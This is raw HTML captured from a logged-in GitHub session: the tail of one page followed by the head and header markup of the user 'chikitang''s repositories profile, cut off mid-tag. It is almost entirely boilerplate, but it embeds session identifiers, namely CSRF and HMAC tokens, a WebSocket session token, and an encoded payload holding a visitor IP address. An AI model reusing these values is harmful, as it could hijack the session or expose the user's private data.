integrity="sha512-N6BPdqxnrYL4kxWa5gDIlmhui/SEMiHoobwzTpVOWheR111Zxv5GOnCtGpt5qhE5rIpi9RHMeyngI5w6WhGfnw==" type="application/javascript" src="https://github.githubassets.com/assets/frameworks-0339542411b5666802ea364ae561d67e.js"></script> <script crossorigin="anonymous" async="async" integrity="sha512-D/8iR8ROD3vVOmwLSVsS1j1knDeAOuW9NLNRFb3Pyd68G/gC1b3xRH/krz0K2nuECEZRjVsUAU5caoJKAwoLwA==" type="application/javascript" src="https://github.githubassets.com/assets/github-27e2e2875f3fc6cfce6518e479adf7b8.js"></script> <script crossorigin="anonymous" async="async" integrity="sha512-c44z5nODEaKK3GYFvk6sJ+mQ11NU39x+7a8XfyyP2tvKxKleREj9kiG7faxy8HezxO3JLEySVB+jrElhE/tZDg==" type="application/javascript" src="https://github.githubassets.com/assets/wiki-d986eaa4dd007a3f9a67d1f6a6c30320.js"></script> <div class="js-stale-session-flash stale-session-flash flash flash-warn flash-banner d-none"> <svg class="octicon octicon-alert" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"/></svg> <span class="signed-in-tab-flash">You signed in with another tab or window. <a href="">Reload</a> to refresh your session.</span> <span class="signed-out-tab-flash">You signed out in another tab or window. <a href="">Reload</a> to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default text-gray-dark" open> <summary aria-haspopup="dialog" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg class="octicon octicon-x" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48L7.48 8z"/></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details> </template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box box-shadow-large" style="width:360px;"> </div> </div> <div id="hovercard-aria-description" class="sr-only"> Press h to open a hovercard with more details. </div> <div aria-live="polite" class="js-global-screen-reader-notice sr-only"></div> </body> </html>
chikitang
!DOCTYPE html> <html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" integrity="sha512-ksfTgQOOnE+FFXf+yNfVjKSlEckJAdufFIYGK7ZjRhWcZgzAGcmZqqArTgMLpu90FwthqcCX4ldDgKXbmVMeuQ==" rel="stylesheet" href="https://github.githubassets.com/assets/light-92c7d381038e.css" /><link crossorigin="anonymous" media="all" integrity="sha512-1KkMNn8M/al/dtzBLupRwkIOgnA9MWkm8oxS+solP87jByEvY/g4BmoxLihRogKcX1obPnf4Yp7dI0ZTWO+ljg==" rel="stylesheet" href="https://github.githubassets.com/assets/dark-d4a90c367f0c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" integrity="sha512-cZa7DZqvMBwD236uzEunO/G1dvw8/QftyT2UtLWKQFEy0z0eq0R5WPwqVME+3NSZG1YaLJAaIqtU+m0zWf/6SQ==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-7196bb0d9aaf.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" integrity="sha512-WVoKqJ4y1nLsdNH4RkRT5qrM9+n9RFe1RHSiTnQkBf5TSZkJEc9GpLpTIS7T15EQaUQBJ8BwmKvwFPVqfpTEIQ==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-595a0aa89e32.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" integrity="sha512-XpAMBMSRZ6RTXgepS8LjKiOeNK3BilRbv8qEiA/M3m+Q4GoqxtHedOI5BAZRikCzfBL4KWYvVzYZSZ8Gp/UnUg==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-5e900c04c491.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" integrity="sha512-3HF2HZ4LgEIQm77yOzoeR20CX1n2cUQlcywscqF4s+5iplolajiHV7E5ranBwkX65jN9TNciHEVSYebQ+8xxEw==" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-dc71761d9e0b.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" integrity="sha512-+J8j3T0kbK9/sL3zbkCfPtgYcRD4qQfRbT6xnfOrOTjvz4zhr0M7AXPuE642PpaxGhHs1t77cTtieW9hI2K6Gw==" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-f89f23dd3d24.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" integrity="sha512-AQeAx5wHQAXNf0DmkvVlHYwA3f6BkxunWTI0GGaRN57GqD+H9tW8RKIKlopLS0qGaC54seFsPc601GDlqIuuHg==" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-010780c79c07.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" integrity="sha512-+u5pmgAE0T03d/yI6Ha0NWwz6Pk0W6S6WEfIt8veDVdK8NTjcMbZmQB9XUCkDlrBoAKkABva8HuGJ+SzEpV1Uw==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-faee699a0004.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-EAhBCLIJ/pXHG3Y6yQhs9s53SHV80sjJ+yCwlQtfv7LaVkD+VoEuZBZ5betQJFUNj/5qBSfZk5GFtazEDzWLAg==" rel="stylesheet" href="https://github.githubassets.com/assets/primer-10084108b209.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-j4LlGsvrPJxvY8+OWTjZfxsE5dNUiTsSjDrRiYJN24hZSD0fRrKZKtHnFIt1HSPGvNd1XAXX4UWQu+7n30g2KQ==" rel="stylesheet" href="https://github.githubassets.com/assets/global-8f82e51acbeb.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-ws/OpUoggF9K9ooMit55m3zLZc0tylad06U0PD2d0mPaGrdyGa+YTIAGxvVPrke4PWfw/1hdyplewI0dG5RMqw==" rel="stylesheet" href="https://github.githubassets.com/assets/github-c2cfcea54a20.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-EU4iyx/yvfUFbgkpn4fpfcGLGdCO/MAsSFcvCXZ2Z2EW37nQnDHPgt/cXbfA0Tro59XCXEOAzXxFKLLkIuetnw==" rel="stylesheet" href="https://github.githubassets.com/assets/profile-114e22cb1ff2.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-/QgkqjzVefOR3Tj2b+frbSHSVAOEXToMLNi27AqI0et2R/r9L6h5gKl9tEbPuN2sV41z3bAkC0YbPhQSDjak+A==" src="https://github.githubassets.com/assets/runtime-fd0824aa3cd5.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-X+8lM1ka/+ZD419IfxRmavutulfxSofkt+qmxoFdfa0Zp6fBjTUoNaJeZfEK1YdE6ibpcZz/HaOVu2FnHGJ7DA==" src="https://github.githubassets.com/assets/environment-5fef2533591a.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-io+1MvgXPXTw8Kp4eOdNMJl8uGASuw8VfTY5VeIFETaAknimWi8GoxggMEeQ6mq0de4Dest4iIJ/9gUbCo0hgw==" src="https://github.githubassets.com/assets/vendors-node_modules_selector-observer_dist_index_esm_js-8a8fb532f817.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-Es25N4GyPa8Yfp5wpahoe5b2fyPtkRMyR6mKIXyCJC0ocqQazeWvxhGZhx3StRxOfqDfHDR5SS35u/R3Wux6Cg==" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-12cdb93781b2.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-lmiecOIgf+hakg5oKMNM7grVhEDyPoIrT39Px448JJH5PSAaK21PH0Twgyz5O5oi8+dnlLr3Jt8bBCtAcpNdRw==" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-c7e9ed-96689e70e220.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-y67eNkVaNK4RguUGcHOvIbHFlgf1Qje+LDdjVw2eFuuvBOqta2GePz/CwoLIR/PJhhRAj5RPGxCWoomnimSw6w==" src="https://github.githubassets.com/assets/vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_time-elements_dist_index_js-cbaede36455a.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-6ehrOOu5AOQD8/Lw6TgTsdkj9odsrpi0xWo0vkH3wBR3vIw/Bj/Rxw9wZMfw2qVzdqqF/pCiaJ5f0A/P6HtGrw==" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-52e104-e9e86b38ebb9.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-l//8hwOiwPAmBg0NwsWUYovdQ7/r9kPHiD9/LL4fD3M7El8gbgaOYU5+o6cYLB6puSfOTxyN9M6fE38HSDr2Bw==" src="https://github.githubassets.com/assets/github-elements-97fffc8703a2.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-RVfrK7GqzKgqgrdk4OZy+0LLxAMJ1odMQC1/Qt7SpwSHjE9s4R0/09fu5QvzcQ6XdNZMjJ1Wy8Cr6wL3Q+HCcQ==" src="https://github.githubassets.com/assets/element-registry-4557eb2bb1aa.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-uo73yUZcm4EicwjSbfxFZcKfjWniOxhLBp+q1n7IFRfutFM6/lzbQMgD0Xrxp7QD1HzqdvrV8UclPhi3mEOyzQ==" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-ba8ef7c9465c.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-LWSGAMIPWi+15W2gBjmxbtVqU0DamkrNOQylAjPL8509iKnuWgSLdjylDv3WWm/9p6h2U/D//3i6BiiGFZPXJA==" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_catalyst_lib_index_-87b1b3-2d648600c20f.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-0r1nf/rfPz54kyePp4f63bcPxkFo7wyaUZJD/SwIVDK3q0WzurAK9ydOm88tzKtPJm8xWI0Vo25NyCfecwxJ9g==" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd-d2bd677ffadf.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-VK56d0N1hPZ20mOzPoy84zlTGCjGbKKmVvfjoyDqSF+VxTD4f6X8QDs2RgG1R1cdBmsCiea+ZxP6ukV3tHlD+Q==" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-df2537-54ae7a774375.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-318SWYQMEUmWdOuBzC1KdeVyyq5RDCiMNGP7Jh9s/Oz68Yy8e94t8qKxiCnfFKnzfpN3MxrATi7jCQyDv6jh0w==" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_pjax_ts-df5f1259840c.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-2hsYB2KHyayxUJJxJGhXeTeTZZG2c7lzRtO0uB1txmpc7rfvIt4mf0iossT0MHIHknYlaslgi98jmmlVXcXaZQ==" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-af52ef-da1b18076287.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-mszhDznUQJHnUG/R5PW8SVIpe08ysmzHfMNnUF9Nu2DlTQ2EI+vzUxDTJ1cUGPr1nRRvsed9bKe1IdZI+1Q4Rg==" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_details_ts-app_assets_modules_github_behaviors_include-fr-34e1f7-9acce10f39d4.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-w/t2D/KwutVIcNp5IDznla0td11er/0FLWMQBuZ4+ec53IQDBc4+CztZqlCj/RZ8XDkk/eiECEwiUjXv5UAJnQ==" src="https://github.githubassets.com/assets/behaviors-c3fb760ff2b0.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-O4QCEHjN5g9SG+Bqu36E7RCxy4hi2w3nyDWVsHwc/hUgAMsYntgibQcLNqSrar4T78Dnj0NZgM/C4FhFt8DIag==" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-6e358f-3b84021078cd.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-tuRHxLY6eU4xuxKD8rm7GxWa0B337+gV5cSnivbY1FPmUo4zRUBCbKqs6kvuJsuGj2dg1uz4ajSLTrHDFeADUw==" src="https://github.githubassets.com/assets/notifications-global-b6e447c4b63a.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-QdQXem5u6Zn5fejgHuEVa07Zdffi7rtk2HHG8DZHegrkzMgrrdC5d5spRsxjV/xGF3KSyl3B8FI7xXu77LG2TQ==" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-1424532-41d4177a6e6e.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-fkqJogEq3qR42gMZhv5UupQvBdhPiQIIBomJsm5HYJ6ZzfJjDFdKWsWso3u5eKdEz6b8hhXFjUwnLnK6SkJdhA==" src="https://github.githubassets.com/assets/profile-7e4a89a2012a.js"></script> <title>Your Repositories</title> <meta name="request-id" content="FD00:0DFC:1DF0AC7:313D6B2:62A02226" data-pjax-transient="true" /><meta name="html-safe-nonce" content="980ec10d2da5b506cd46be36dd6e013e8bada887c7553a22c701573bbe482ab0" data-pjax-transient="true" /><meta name="visitor-payload" content="eyJyZWZlcnJlciI6Imh0dHBzOi8vZ2l0aHViLmNvbS9leHBsb3JlIiwicmVxdWVzdF9pZCI6IkZEMDA6MERGQzoxREYwQUM3OjMxM0Q2QjI6NjJBMDIyMjYiLCJ2aXNpdG9yX2lkIjoiNzQ5MzY1NDMzNjA2MzQxMjkzMSIsInJlZ2lvbl9lZGdlIjoiaWFkIiwicmVnaW9uX3JlbmRlciI6ImlhZCJ9" data-pjax-transient="true" /><meta name="visitor-hmac" content="421e7a5a14726f1086d7a9de5370e75ce73e1595c8567ceca4fe9616e47623d9" data-pjax-transient="true" /> <meta name="github-keyboard-shortcuts" content="" data-pjax-transient="true" /> <meta name="selected-link" value="/chikitang" data-pjax-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /><meta name="octolytics-actor-id" content="107093285" /><meta name="octolytics-actor-login" content="chikitang" /><meta name="octolytics-actor-hash" content="1bbae79ef5b27d38ae2058bbe0b8e84e42ca017579fe6b91fb76d14b6a316195" /> <meta name="user-login" content="chikitang"> <meta name="viewport" content="width=device-width"> <meta name="description" content="chikitang has one repository available. Follow their code on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://avatars.githubusercontent.com/u/107093285?v=4?s=400" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary" /><meta name="twitter:title" content="chikitang - Repositories" /><meta name="twitter:description" content="chikitang has one repository available. Follow their code on GitHub." /> <meta property="og:image" content="https://avatars.githubusercontent.com/u/107093285?v=4?s=400" /><meta property="og:image:alt" content="chikitang has one repository available. Follow their code on GitHub." /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="profile" /><meta property="og:title" content="chikitang - Repositories" /><meta property="og:url" content="https://github.com/chikitang" /><meta property="og:description" content="chikitang has one repository available. Follow their code on GitHub." /><meta property="profile:username" content="chikitang" /> <link rel="assets" href="https://github.githubassets.com/"> <link rel="shared-web-socket" href="wss://alive.github.com/_sockets/u/107093285/ws?session=eyJ2IjoiVjMiLCJ1IjoxMDcwOTMyODUsInMiOjg5NTc1NzU0OCwiYyI6MTYzNjI1Mjg2NywidCI6MTY1NDY2MTY3M30=--c25c69ac641d7bef477abc2e101060da9d58d110fdab2b83c67104ea57cb74d1" data-refresh-url="/_alive" data-session-id="0f954fa662a2d554f181d0867897a8c903cfbb09b242250a287b6117e8fa2281"> <link rel="shared-web-socket-src" href="/assets-cdn/worker/socket-worker-b98ccfd9236e.js"> <link rel="sudo-modal" href="/sessions/sudo_modal"> <meta name="hostname" content="github.com"> <meta name="keyboard-shortcuts-preference" content="all"> <script type="application/json" id="memex_keyboard_shortcuts_preference">"all"</script> <meta name="expected-hostname" content="github.com"> <meta name="js-proxy-site-detection-payload" content="ZTEwZDA3YzMzN2IyY2I2ZjU1ZWFkZWNkYmNkM2RlNjAyNWQwYzUwODYwOGU5ODU2MDBjZDYzZjI4OGQ5OWQyOHx7InJlbW90ZV9hZGRyZXNzIjoiNzYuMTM1Ljk2LjIwNSIsInJlcXVlc3RfaWQiOiJGRDAwOjBERkM6MURGMEFDNzozMTNENkIyOjYyQTAyMjI2IiwidGltZXN0YW1wIjoxNjU0NjYxNjczLCJob3N0IjoiZ2l0aHViLmNvbSJ9"> <meta name="enabled-features" content="ACTIONS_CALLABLE_WORKFLOWS,PRESENCE_IDLE,RELEASE_PREV_TAG_PICKER"> <meta http-equiv="x-pjax-version" content="a37df167d895af7f9c4d1b90e97a54af1d17d291209210e78f815dbbd9a85bbc" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="485d6a5ccbb1eeae9c86b616b4870b531f6f458e8bd5c309c40280dc4f51defb" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="560bbf933d6879732c126fa7af06481a25d36e7da91d312b7f44915e69fcdbb9" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="3c347e3ecd4172f21f40b5f945958e9a8b15c3b5c962803de065de8ef0b29900" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview"></meta> <meta name="octolytics-dimension-user_id" content="107093285" /><meta name="octolytics-dimension-user_login" content="chikitang" /> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"> <meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-in env-production page-responsive page-profile mine" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> <a href="#start-of-content" class="p-3 color-bg-accent-emphasis color-fg-on-emphasis show-on-focus js-skip-to-content">Skip to content</a> <span data-view-component="true" class="progress-pjax-loader js-pjax-loader-bar Progress position-fixed width-full"> <span style="width: 0%;" data-view-component="true" class="Progress-item progress-pjax-loader-bar left-0 top-0 color-bg-accent-emphasis"></span> </span> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-vq9xa9mXhnKoPKegD98xDdz3z2QGmpBBTgEdXLjXQWpAHaNrJgMoKO/tWwQg3XrNHOMwbWccPo2ej0RASJ32Jw==" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_catalyst_lib-098f88-beaf716bd997.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-SqxGVVy+lvF/R0gsWdxjPTIX6BkspUwgKC7GkhrrpHDvTiiYveTazaMKVQ4ZsbyB8PpALQMJVu5FThgLLEa/qQ==" src="https://github.githubassets.com/assets/vendors-node_modules_github_clipboard-copy-element_dist_index_esm_js-node_modules_delegated-e-a39d96-4aac46555cbe.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-+RY85fUZaREgYAhJOwiMFuEzzJ0MYIJJ/e3HrBLNx5mbTvOTWawq9+/XBdBy/omg01kYOA4my0k99ImePtihQQ==" src="https://github.githubassets.com/assets/app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-48ad9d-f9163ce5f519.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-MZKd5uKV0ZulPULi4Ci9ya+diAKnUgu9G0+cTix+XVo6BGYYtTfTaAmIKFNxFkAQKcOCHMJU7itIuu409PIlNg==" src="https://github.githubassets.com/assets/command-palette-31929de6e295.js"></script> <header class="Header js-details-container Details px-3 px-md-4 px-lg-5 flex-wrap flex-md-nowrap" role="banner" > <div class="Header-item mt-n1 mb-n1 d-none d-md-flex"> <a class="Header-link " href="https://github.com/" data-hotkey="g d" aria-label="Homepage " data-turbo="false" data-analytics-event="{"category":"Header","action":"go to dashboard","label":"icon:logo"}" > <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github v-align-middle"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path> </svg> </a> </div> <div class="Header-item d-md-none"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="Header-link js-details-target btn-link"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-three-bars"> <path fill-rule="evenodd" d="M1 2.75A.75.75 0 011.75 2h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 2.75zm0 5A.75.75 0 011.75 7h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 7.75zM1.75 12a.75.75 0 100 1.5h12.5a.75.75 0 100-1.5H1.75z"></path> </svg> </button> </div> <div class="Header-item Header-item--full flex-column flex-md-row width-full flex-order-2 flex-md-order-none mr-0 mt-3 mt-md-0 Details-content--hidden-not-important d-md-flex"> <div class="header-search flex-auto js-site-search position-relative flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to" > <div class="position-relative"> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="User" data-scope-id="107093285" data-scoped-search-url="/users/chikitang/search" data-unscoped-search-url="/search" data-turbo="false" action="/users/chikitang/search" accept-charset="UTF-8" method="get"> <label class="form-control input-sm header-search-wrapper p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control input-sm header-search-input jump-to-field js-jump-to-field js-site-search-focus js-site-search-field is-clearable" data-hotkey=s,/ name="q" data-test-selector="nav-search-input" placeholder="Search or jump to…" data-unscoped-placeholder="Search or jump to…" data-scoped-placeholder="Search or jump to…" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search or jump to…" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" value="onaOjrBo6ohITGCajPS3asceXniJrPVtVg0W3PjGOVqghJTYE-qvcN961YI7OuNKFtGNfvjgTbQtKVQNyp1O1Q" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <ul class="d-none js-jump-to-suggestions-template-container"> <li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-suggestion" role="option"> <a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href="" data-item-type="suggestion"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path> </svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path> </svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path> </svg> </div> <img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28"> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span class="js-jump-to-badge-search-text-default d-none" aria-label="in this user"> In this user </span> <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub"> All GitHub </span> <span aria-hidden="true" class="d-inline-block ml-1 